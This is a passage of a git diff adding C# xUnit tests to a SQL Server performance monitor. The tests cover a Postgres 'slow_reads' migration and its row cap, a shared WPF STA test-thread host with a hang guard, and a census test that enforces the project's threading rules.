+            var now = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Unspecified);
+            await using (var seed = new NpgsqlCommand(@"
+INSERT INTO collect.slow_reads (read_time, surface, route, outcome, total_ms, arguments, arguments_truncated, statements, statement_count, statements_truncated)
+SELECT TIMESTAMP '2026-10-01 11:00:00' - make_interval(secs => g), 'mcp', 'seed', 'timeout', 9000, '{}'::jsonb, FALSE, '[]'::jsonb, 0, FALSE
+FROM generate_series(1, 10000) AS g;
+INSERT INTO collect.slow_reads (read_time, surface, route, outcome, total_ms, arguments, arguments_truncated, statements, statement_count, statements_truncated)
+VALUES (TIMESTAMP '2026-08-01 00:00:00', 'mcp', 'ancient', 'timeout', 9000, '{}'::jsonb, FALSE, '[]'::jsonb, 0, FALSE);", connection))
+            {
+                await seed.ExecuteNonQueryAsync(ct);
+            }
+
+            await new SlowReadLog().StoreAsync(postgres, Record(now, "newest"), null);
+
+            await using var count = new NpgsqlCommand("SELECT count(*) FROM collect.slow_reads", connection);
+            Assert.Equal((long)SlowReadLog.RowCap, await count.ExecuteScalarAsync(ct));
+            await using var ancient = new NpgsqlCommand("SELECT count(*) FROM collect.slow_reads WHERE route = 'ancient'", connection);
+            Assert.Equal(0L, await ancient.ExecuteScalarAsync(ct));
+            await using var newest = new NpgsqlCommand("SELECT count(*) FROM collect.slow_reads WHERE route = 'newest'", connection);
+            Assert.Equal(1L, await newest.ExecuteScalarAsync(ct));
+            await using var oldest = new NpgsqlCommand("SELECT min(read_time) FROM collect.slow_reads", connection);
+            Assert.Equal(new DateTime(2026, 10, 1, 11, 0, 0).AddSeconds(-9_999), (DateTime)(await oldest.ExecuteScalarAsync(ct))!);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanupFinishAsync(scratch, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task GetSlowReads_OnAnEmptyStore_AnswersEmpty_AndRefusesABadSurface()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5097 slow-read live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var bodySucceeded = false;
+        try
+        {
+            var empty = await DarlingMcpSlowReadTools.GetSlowReads(postgres, cancellationToken: ct);
+            Assert.Equal("empty", (string)JsonNode.Parse(empty)!["status"]!);
+
+            var refused = await DarlingMcpSlowReadTools.GetSlowReads(postgres, surface: "nope", cancellationToken: ct);
+            Assert.Contains("surface", refused, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanupFinishAsync(scratch, bodySucceeded);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/SlowReadsRungTests.cs b/Darling/Darling.Tests/SlowReadsRungTests.cs
new file mode 100644
index 0000000000..8fdeba1830
--- /dev/null
+++ b/Darling/Darling.Tests/SlowReadsRungTests.cs
@@ -0,0 +1,171 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that adds <c>collect.slow_reads</c> (#5097), the record of reads that ran long or ended in a
+/// timeout, error or limit. Internal self-telemetry: one plain table and one index, every statement guarded by
+/// IF NOT EXISTS, nothing that alters or removes existing objects. Every fact finds the rung by NAME. The live facts run
+/// when <c>DARLING_TEST_PG</c> is set, each on its own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class SlowReadsRungTests
+{
+    public const string RungName = "slow-reads";
+
+    private const string Table = "slow_reads";
+
+    public static int RungVersion => Rung.Version;
+
+    /// <summary>This rung's sentinel; the ordinal is a fact of the probe's shape, and a newer rung's sentinel follows it.</summary>
+    private const int ProbeOrdinal = 137;
+
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the slow-read table's live pins (each mints its own scratch database).";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    private static string Statements() => Rung.Sql.Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    [Fact]
+    public void TheRungIsRegisteredInADenseLadder_AtVersion162()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal(162, Rung.Version);
+        /* No longer the top rung: V163 (the store's statement history) landed above it. */
+        Assert.True(Rung.Version < StorageVersion.SchemaVersion);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+    }
+
+    [Fact]
+    public void TheSql_CreatesTheTableAndTheTimeIndex_AndOnlyCreatesWithGuards()
+    {
+        var sql = Statements();
+
+        Assert.Contains("CREATE TABLE IF NOT EXISTS collect.slow_reads\n", sql, StringComparison.Ordinal);
+        Assert.Contains("    error_class text,\n    row_count bigint\n);", sql, StringComparison.Ordinal);
+        Assert.Contains("CREATE INDEX IF NOT EXISTS idx_slow_reads_time\n    ON collect.slow_reads(read_time, slow_read_id);", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("create_hypertable", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("CHECK", sql, StringComparison.Ordinal);
+
+        foreach (var create in Regex.Matches(sql, @"CREATE\s+(?:UNIQUE\s+)?(TABLE|INDEX)\s+(?!IF NOT EXISTS)", RegexOptions.IgnoreCase).Cast<Match>())
+        {
+            Assert.Fail("an unguarded CREATE: " + create.Value);
+        }
+
+        foreach (var verb in new[] { "ALTER ", "UPDATE ", "DELETE ", "GRANT ", "DROP ", "INSERT " })
+        {
+            Assert.DoesNotContain(verb, sql, StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    [Fact]
+    public void TheProbeCarriesTheTable_AndMapsAStoreThroughThisRungToThisRung()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = $"to_regclass('collect.{Table}') IS NOT NULL";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var arity = method.GetParameters().Length;
+        Assert.True(ProbeOrdinal < arity - 1, "a newer rung's sentinel follows this one");
+        Assert.Equal("hasSlowReads", method.GetParameters()[ProbeOrdinal].Name);
+
+        var all = Enumerable.Range(0, arity).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(Rung.Version, (int)method.Invoke(null, all)!);
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var behind = (object[])all.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(Rung.Version - 1, (int)method.Invoke(null, behind)!);
+
+        var thisArm = viewer.IndexOf("if (hasSlowReads)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasQueryStoreTopDaily)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0, "no sentinel arm: a fully-migrated store would map one rung short");
+        Assert.True(thisArm < previousArm, "this arm sits above the previous rung's, so a current store maps one rung short");
+        Assert.Contains($"return {Rung.Version};", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        /* The V71 finding: the table is named in the probe line and nowhere in the arm's prose. */
+        var armProseStart = viewer.LastIndexOf("/* V162 (#5097)", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
+        Assert.DoesNotContain(Table, viewer[armProseStart..thisArm], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task MigratingAFreshStore_CreatesThePlainTableAndTheIndex_AndRerunningTheRungChangesNothing()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.Equal(1L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = 'collect' AND c.relname = 'slow_reads' AND c.relkind = 'r'", ct));
+            Assert.Equal(1L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_indexes WHERE schemaname = 'collect' AND tablename = 'slow_reads' AND indexname = 'idx_slow_reads_time'", ct));
+
+            await ExecAsync(connection,
+                "INSERT INTO collect.slow_reads (read_time, surface, route, outcome, total_ms, arguments, arguments_truncated, statements, statement_count, statements_truncated) VALUES (TIMESTAMP '2026-01-01 00:00:00', 'mcp', 'r', 'ok', 5000, '{}'::jsonb, FALSE, '[]'::jsonb, 0, FALSE)", ct);
+            var shape = "SELECT string_agg(column_name || ':' || data_type, ',' ORDER BY ordinal_position) FROM information_schema.columns WHERE table_schema = 'collect' AND table_name = 'slow_reads'";
+            var before = await ScalarAsync(connection, shape, ct);
+
+            /* A store stamped below the rung migrates again: the stamp goes, the SQL runs a second time. */
+            await ExecAsync(connection, "DELETE FROM darling_schema_version WHERE version >= 162", ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.Equal(before, await ScalarAsync(connection, shape, ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.slow_reads", ct));
+            Assert.Equal(2L, await ScalarAsync(connection, "SELECT count(*) FROM pg_indexes WHERE schemaname = 'collect' AND tablename = 'slow_reads'", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/SqlTextPinTests.cs b/Darling/Darling.Tests/SqlTextPinTests.cs
index a0dbf3ccb7..8bc3225c1c 100644
--- a/Darling/Darling.Tests/SqlTextPinTests.cs
+++ b/Darling/Darling.Tests/SqlTextPinTests.cs
@@ -17,6 +17,7 @@ namespace Darling.Tests;
 /// brittle form it replaces; one that normalised too much would make a removed predicate pass, which is
 /// strictly worse than the brittleness. Neither shows up as a failure anywhere else.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class SqlTextPinTests
 {
     /// <summary>The exact #3212 rewrite: a table alias added, then the column qualified with it.</summary>
diff --git a/Darling/Darling.Tests/StaTestThread.cs b/Darling/Darling.Tests/StaTestThread.cs
new file mode 100644
index 0000000000..41585d1229
--- /dev/null
+++ b/Darling/Darling.Tests/StaTestThread.cs
@@ -0,0 +1,277 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Runtime.ExceptionServices;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Threading;
+using Xunit;
+
+/// <summary>
+/// #5602: every test that needs WPF runs its body on ONE shared STA thread per test process, instead of starting a thread of its
+/// own. WPF keeps process-wide state that is not thread-safe (#5559: the <c>DependencyPropertyDescriptor</c> cache and its
+/// unsynchronised <c>AddValueChanged</c> dictionary) and per-thread state that is expensive to leave behind (#5596: a weak-event
+/// table and a dispatcher per thread, 300 ms each at process exit). Fifty test files each starting their own thread meant both.
+/// <para>
+/// <b>One body at a time, end to end.</b> A body that pumps (<c>Dispatcher.PushFrame</c>, a modal loop) lets a second queued
+/// <c>Invoke</c> run inside it, which is #5559 again. So the CALLER takes a process-wide gate before it queues its body and
+/// releases it after the body and its drain have returned; the dispatcher never has two bodies queued. The wait for the gate is
+/// not charged to the hang guard.
+/// </para>
+/// <para>
+/// <b>Drain.</b> After each body the thread closes any window the body left open and runs the dispatcher to application-idle,
+/// so work one test queued does not run during the next. An exception thrown by queued work (a timer tick, a Loaded handler)
+/// does not end the thread and the process: it is handed to the test whose body or drain ran it.
+/// </para>
+/// <para>
+/// <b>Hang guard.</b> A body that does not return within <see cref="HangGuard"/> fails the calling test, naming it. The shared
+/// thread is then stuck inside that body and cannot be freed, so every later WPF test in the process fails at once with a
+/// message naming the stuck test, instead of each waiting out its own 60 s.
+/// </para>
+/// <para>
+/// Tests that must own a thread (a dispatcher shutdown, a thread that has to END while the test looks at the process) stay on
+/// their own thread and take <see cref="EnterExclusive"/> around it, so they cannot overlap a body running here. The allow list
+/// is in <c>StaThreadCensusTests</c>, with a reason per file.
+/// </para>
+/// This file lives in Darling.Tests and is compiled into Lite.Tests by a link (one host, two suites). It is in the global
+/// namespace so the Lite classes, which sit in a different namespace, need no extra <c>using</c>.
+/// </summary>
+internal static class StaTestThread
+{
+    private static readonly StaHost s_host = new();
+
+    /// <summary>How long a body (and its drain) may take before the calling test fails. Settable so a test can shorten it.</summary>
+    internal static TimeSpan HangGuard { get => s_host.HangGuard; set => s_host.HangGuard = value; }
+
+    /// <summary>Runs <paramref name="body"/> on the shared STA thread and returns when it and its drain are done. Its exception comes back here with its own stack.</summary>
+    internal static void Run(Action body) => s_host.Run(body);
+
+    /// <summary>Runs <paramref name="body"/> on the shared STA thread and returns its result.</summary>
+    internal static T Run<T>(Func<T> body) => s_host.Run(body);
+
+    /// <summary>Runs an async <paramref name="body"/> on the shared STA thread: its continuations come back to that thread's dispatcher.</summary>
+    internal static void Run(Func<Task> body) => s_host.Run(body);
+
+    /// <summary>
+    /// For a test that must own its thread: waits for the gate and returns the token that releases it. Not re-entrant, and not to
+    /// be called from a body already running in <see cref="Run(Action)"/>.
+    /// </summary>
+    internal static IDisposable EnterExclusive() => s_host.EnterExclusive();
+}
+
+/// <summary>
+/// The machinery behind <see cref="StaTestThread"/>: one lazily started background STA thread running a dispatcher, and the gate.
+/// The suites use the single instance behind <see cref="StaTestThread"/>; the host's own tests make their own, so the hang guard
+/// can be proven without leaving the shared thread stuck for the rest of the process.
+/// </summary>
+internal sealed class StaHost
+{
+    internal TimeSpan HangGuard { get; set; } = TimeSpan.FromSeconds(60);
+
+    /* A SemaphoreSlim, not a Monitor: a test may be async, so the releasing thread is not promised to be the taking one. */
+    private readonly SemaphoreSlim _gate = new(1, 1);
+    private readonly object _startLock = new();
+    private readonly List<Exception> _strays = new();
+    private Dispatcher? _dispatcher;
+    private volatile string? _stuckTest;
+
+    internal string? StuckTest => _stuckTest;
+
+    /// <summary>The dispatcher of the host thread (starting the thread if it is not yet). For the host's own tests.</summary>
+    internal Dispatcher HostDispatcher => EnsureThread();
+
+    internal void Run(Action body) => RunCore(() => { WithoutSyncContext(body); return Task.CompletedTask; });
+
+    internal T Run<T>(Func<T> body)
+    {
+        T result = default!;
+        RunCore(() => { WithoutSyncContext(() => result = body()); return Task.CompletedTask; });
+        return result;
+    }
+
+    /// <summary>
+    /// A synchronous body runs with no synchronization context, as it did on a thread of its own that never ran a dispatcher. Inside the
+    /// dispatcher's own callback the current context is the dispatcher's, and a body that blocks on a task (<c>.GetAwaiter().GetResult()</c>)
+    /// whose awaits capture it would wait for the very thread it is blocking. A frame the body pushes installs its own context for the
+    /// frame's life and restores this one, so a pumping body is unaffected.
+    /// </summary>
+    private static void WithoutSyncContext(Action body)
+    {
+        var prior = SynchronizationContext.Current;
+        SynchronizationContext.SetSynchronizationContext(null);
+        try
+        {
+            body();
+        }
+        finally
+        {
+            SynchronizationContext.SetSynchronizationContext(prior);
+        }
+    }
+
+    internal void Run(Func<Task> body) => RunCore(body);
+
+    internal IDisposable EnterExclusive()
+    {
+        _gate.Wait();
+        return new Releaser(_gate);
+    }
+
+    /// <summary>Ends the host thread's dispatcher. Only for a host a test made for itself.</summary>
+    internal void Shutdown() => _dispatcher?.BeginInvokeShutdown(DispatcherPriority.Send);
+
+    private void RunCore(Func<Task> body)
+    {
+        FailIfStuck();
+        _gate.Wait();
+        try
+        {
+            FailIfStuck();
+            var dispatcher = EnsureThread();
+            ExceptionDispatchInfo? error = null;
+            lock (_strays)
+            {
+                _strays.Clear();
+            }
+
+            var finished = dispatcher.InvokeAsync(() => Job(body, e => error = e)).Task.Unwrap();
+            if (!finished.Wait(HangGuard))
+            {
+                var name = CurrentTestName();
+                _stuckTest = name;
+                throw new TimeoutException(
+                    $"WPF test body did not return within {HangGuard.TotalSeconds:0} s: {name}. The shared STA test thread is stuck inside it, "
+                    + "so every later WPF test in this process fails at once naming this test (#5602).");
+            }
+
+            error?.Throw();
+            lock (_strays)
+            {
+                if (_strays.Count > 0)
+                {
+                    var strays = _strays.ToArray();
+                    _strays.Clear();
+                    throw new AggregateException("Work the test queued on the dispatcher threw while the shared STA thread ran it (#5602):", strays);
+                }
+            }
+        }
+        finally
+        {
+            _gate.Release();
+        }
+    }
+
+    /// <summary>The body, then the cleanup. Never throws: the body's exception is handed back for the caller to rethrow with its stack.</summary>
+    private async Task Job(Func<Task> body, Action<ExceptionDispatchInfo> fail)
+    {
+        try
+        {
+            await body();
+        }
+        catch (Exception ex)
+        {
+            fail(ExceptionDispatchInfo.Capture(ex));
+        }
+
+        try
+        {
+            CloseLeftoverWindows();
+            await Dispatcher.Yield(DispatcherPriority.ApplicationIdle);
+        }
+        catch (Exception ex)
+        {
+            fail(ExceptionDispatchInfo.Capture(ex));
+        }
+    }
+
+    /// <summary>A test that failed before its own <c>Close()</c> leaves a window (and its HWND) behind; the next test must not meet it.</summary>
+    private static void CloseLeftoverWindows()
+    {
+        foreach (PresentationSource source in PresentationSource.CurrentSources)
+        {
+            if (source.RootVisual is Window window && window.Dispatcher == Dispatcher.CurrentDispatcher)
+            {
+                window.Close();
+            }
+        }
+    }
+
+    private void FailIfStuck()
+    {
+        var stuck = _stuckTest;
+        if (stuck is not null)
+        {
+            throw new InvalidOperationException(
+                $"The shared WPF STA test thread is stuck inside a body that never returned: {stuck}. This test did not run (#5602).");
+        }
+    }
+
+    private static string CurrentTestName() => TestContext.Current.Test?.TestDisplayName ?? "(test name unavailable)";
+
+    private Dispatcher EnsureThread()
+    {
+        var existing = _dispatcher;
+        if (existing is not null)
+        {
+            return existing;
+        }
+
+        lock (_startLock)
+        {
+            if (_dispatcher is not null)
+            {
+                return _dispatcher;
+            }
+
+            using var ready = new ManualResetEventSlim();
+            Dispatcher? made = null;
+            var thread = new Thread(() =>
+            {
+                var dispatcher = Dispatcher.CurrentDispatcher;
+                dispatcher.UnhandledException += (_, e) =>
+                {
+                    lock (_strays)
+                    {
+                        _strays.Add(e.Exception);
+                    }
+
+                    e.Handled = true;
+                };
+                made = dispatcher;
+                ready.Set();
+                Dispatcher.Run();
+            })
+            {
+                Name = "StaTestThread",
+                /* Background: a stuck body must not keep the test process alive after the run returns. */
+                IsBackground = true,
+            };
+            thread.SetApartmentState(ApartmentState.STA);
+            thread.Start();
+            ready.Wait();
+            _dispatcher = made;
+            return made!;
+        }
+    }
+
+    private sealed class Releaser(SemaphoreSlim gate) : IDisposable
+    {
+        private int _released;
+
+        public void Dispose()
+        {
+            if (Interlocked.Exchange(ref _released, 1) == 0)
+            {
+                gate.Release();
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StaTestThreadTests.cs b/Darling/Darling.Tests/StaTestThreadTests.cs
new file mode 100644
index 0000000000..a3ac451cbd
--- /dev/null
+++ b/Darling/Darling.Tests/StaTestThreadTests.cs
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Threading;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5602: the shared STA test thread. Bodies run in order on one thread, an exception keeps its stack, a body that pumps does not
+/// let a second one in, the hang guard fires and names the test, and the drain runs the work a body queued before the next body
+/// starts. The hang-guard test uses a host of its own: it leaves that host's thread stuck, which the shared one must never be.
+/// In the <c>timing</c> collection because it judges 200 to 300 ms limits (the hang guard, a gate that must hold a body out), which a
+/// parallel run's load would stretch (#5602).
+/// </summary>
+[Collection("timing")]
+public sealed class StaTestThreadTests
+{
+    [Fact]
+    public void Bodies_RunOneAfterAnother_OnTheSameBackgroundStaThread()
+    {
+        var first = StaTestThread.Run(Describe);
+        var second = StaTestThread.Run(Describe);
+
+        Assert.Equal(first.Id, second.Id);
+        Assert.NotEqual(Environment.CurrentManagedThreadId, first.Id);
+        Assert.Equal(ApartmentState.STA, first.Apartment);
+        Assert.True(first.Background, "the shared thread must be a background thread, or a stuck body keeps the test process alive");
+    }
+
+    [Fact]
+    public void ABodysException_ComesBackToTheCaller_WithItsOwnStack()
+    {
+        var thrown = Assert.Throws<InvalidOperationException>(() => StaTestThread.Run(() => ThrowFromNamedFrame()));
+
+        Assert.Equal("boom from the body", thrown.Message);
+        Assert.Contains(nameof(ThrowFromNamedFrame), thrown.StackTrace);
+
+        /* The thread survives the failure: the next body still runs. */
+        Assert.Equal(5, StaTestThread.Run(() => 5));
+    }
+
+    [Fact]
+    public void ABodyThatPumps_DoesNotLetASecondBodyIn()
+    {
+        var inside = 0;
+        var most = 0;
+        var errors = new List<Exception>();
+        var callers = Enumerable.Range(0, 3).Select(_ => new Thread(() =>
+        {
+            try
+            {
+                for (var i = 0; i < 3; i++)
+                {
+                    StaTestThread.Run(() =>
+                    {
+                        var now = Interlocked.Increment(ref inside);
+                        InterlockedMax(ref most, now);
+
+                        /* A nested frame: while it runs, anything else queued on this dispatcher would run inside it. */
+                        var frame = new DispatcherFrame();
+                        var timer = new DispatcherTimer(TimeSpan.FromMilliseconds(15), DispatcherPriority.Normal, (_, _) => frame.Continue = false, Dispatcher.CurrentDispatcher);
+                        timer.Start();
+                        Dispatcher.PushFrame(frame);
+                        timer.Stop();
+
+                        Interlocked.Decrement(ref inside);
+                    });
+                }
+            }
+            catch (Exception ex)
+            {
+                lock (errors)
+                {
+                    errors.Add(ex);
+                }
+            }
+        })).ToList();
+
+        callers.ForEach(t => t.Start());
+        callers.ForEach(t => Assert.True(t.Join(TimeSpan.FromSeconds(60)), "a caller never finished"));
+
+        Assert.Empty(errors);
+        Assert.Equal(1, most);
+    }
+
+    [Fact]
+    public void ABodyThatNeverReturns_FailsItsOwnTest_ByName_AndEveryLaterCallFailsAtOnce()
+    {
+        var host = new StaHost { HangGuard = TimeSpan.FromMilliseconds(300) };
+        using var release = new ManualResetEventSlim();
+        try
+        {
+            var timedOut = Assert.Throws<TimeoutException>(() => host.Run(() => release.Wait()));
+            Assert.Contains(nameof(ABodyThatNeverReturns_FailsItsOwnTest_ByName_AndEveryLaterCallFailsAtOnce), timedOut.Message);
+            Assert.Contains(nameof(ABodyThatNeverReturns_FailsItsOwnTest_ByName_AndEveryLaterCallFailsAtOnce), host.StuckTest);
+
+            var ran = false;
+            var started = Environment.TickCount64;
+            var refused = Assert.Throws<InvalidOperationException>(() => host.Run(() => ran = true));
+            Assert.Contains(nameof(ABodyThatNeverReturns_FailsItsOwnTest_ByName_AndEveryLaterCallFailsAtOnce), refused.Message);
+            Assert.False(ran);
+            Assert.True(Environment.TickCount64 - started < 250, "a later call must fail at once, not wait out its own guard");
+        }
+        finally
+        {
+            release.Set();
+            host.Shutdown();
+        }
+    }
+
+    [Fact]
+    public void AfterABody_TheDispatcherIsDrained_AndAWindowItLeftOpenIsClosed()
+    {
+        var queuedRan = false;
+        Window? left = null;
+        StaTestThread.Run(() =>
+        {
+            Dispatcher.CurrentDispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle, new Action(() => queuedRan = true));
+            left = new Window { Width = 50, Height = 50, ShowInTaskbar = false };
+            left.Show();
+        });
+
+        Assert.True(queuedRan, "work the body queued must run before the next test, not during it");
+        Assert.False(StaTestThread.Run(() => left!.IsVisible), "a window the body left open must be closed by the drain");
+    }
+
+    [Fact]
+    public void AnAsyncBody_ResumesOnTheSharedThread_AfterEachAwait()
+    {
+        var ids = new List<int>();
+        StaTestThread.Run(async () =>
+        {
+            ids.Add(Environment.CurrentManagedThreadId);
+            await Task.Delay(10);
+            ids.Add(Environment.CurrentManagedThreadId);
+            await Dispatcher.Yield(DispatcherPriority.Background);
+            ids.Add(Environment.CurrentManagedThreadId);
+        });
+
+        Assert.Single(ids.Distinct());
+        Assert.NotEqual(Environment.CurrentManagedThreadId, ids[0]);
+    }
+
+    [Fact]
+    public void ExceptionFromWorkTheBodyQueued_ComesBackToTheTest_AndDoesNotEndTheThread()
+    {
+        var thrown = Assert.Throws<AggregateException>(() => StaTestThread.Run(() =>
+            Dispatcher.CurrentDispatcher.BeginInvoke(DispatcherPriority.Background, new Action(() => throw new FormatException("queued work failed")))));
+
+        Assert.Contains(thrown.InnerExceptions, e => e is FormatException { Message: "queued work failed" });
+        Assert.Equal(7, StaTestThread.Run(() => 7));
+    }
+
+    [Fact]
+    public async Task EnterExclusive_KeepsABodyOut_UntilItIsDisposed()
+    {
+        var ran = new ManualResetEventSlim();
+        Task caller;
+        using (StaTestThread.EnterExclusive())
+        {
+            caller = Task.Run(() => StaTestThread.Run(() => ran.Set()));
+            Assert.False(ran.Wait(TimeSpan.FromMilliseconds(200)), "a body ran while a thread that owns its own thread held the gate");
+        }
+
+        await caller.WaitAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken);
+        Assert.True(ran.IsSet);
+    }
+
+    private static (int Id, ApartmentState Apartment, bool Background) Describe() =>
+        (Environment.CurrentManagedThreadId, Thread.CurrentThread.GetApartmentState(), Thread.CurrentThread.IsBackground);
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private static void ThrowFromNamedFrame() => throw new InvalidOperationException("boom from the body");
+
+    private static void InterlockedMax(ref int target, int value)
+    {
+        int seen;
+        while ((seen = Volatile.Read(ref target)) < value && Interlocked.CompareExchange(ref target, value, seen) != seen)
+        {
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StaThreadCensusTests.cs b/Darling/Darling.Tests/StaThreadCensusTests.cs
new file mode 100644
index 0000000000..cbacbd6f44
--- /dev/null
+++ b/Darling/Darling.Tests/StaThreadCensusTests.cs
@@ -0,0 +1,139 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5602: every test that needs WPF runs its body on the one shared STA thread (<c>StaTestThread.Run</c>), not on a thread of its
+/// own. About fifty test files used to start their own STA thread behind a gate (#5559): each left a dispatcher and a weak-event
+/// table behind (#5596's 300 ms per thread at process exit), and a body that pumped could still overlap another. A new test that
+/// starts its own thread, defines its own <c>OnStaThread</c>-style helper, or runs <c>Dispatcher.Run()</c> brings that back, so
+/// this fails and names the file and the rule. A test that really must own its thread goes on <see cref="Allowed"/> with the
+/// reason, and must take <c>StaTestThread.EnterExclusive()</c> around the thread so it cannot overlap a body on the shared one.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class StaThreadCensusTests
+{
+    /* Built from parts so this file does not contain the text it scans for. */
+    private static readonly string s_sta = "ApartmentState" + ".STA";
+    private static readonly string s_run = "Dispatcher" + ".Run(";
+    private const string Exclusive = "StaTestThread.EnterExclusive()";
+
+    /// <summary>
+    /// The host and its own tests start the thread by design. Every other entry is a test that must own a thread, with the reason.
+    /// </summary>
+    private static readonly Dictionary<string, string> Allowed = new(StringComparer.Ordinal)
+    {
+        ["StaTestThread.cs"] = "the host: the one place the shared STA thread is started",
+        ["StaTestThreadTests.cs"] = "the host's own tests assert the thread's apartment state",
+        ["StaThreadCensusTests.cs"] = "this census names the text it scans for",
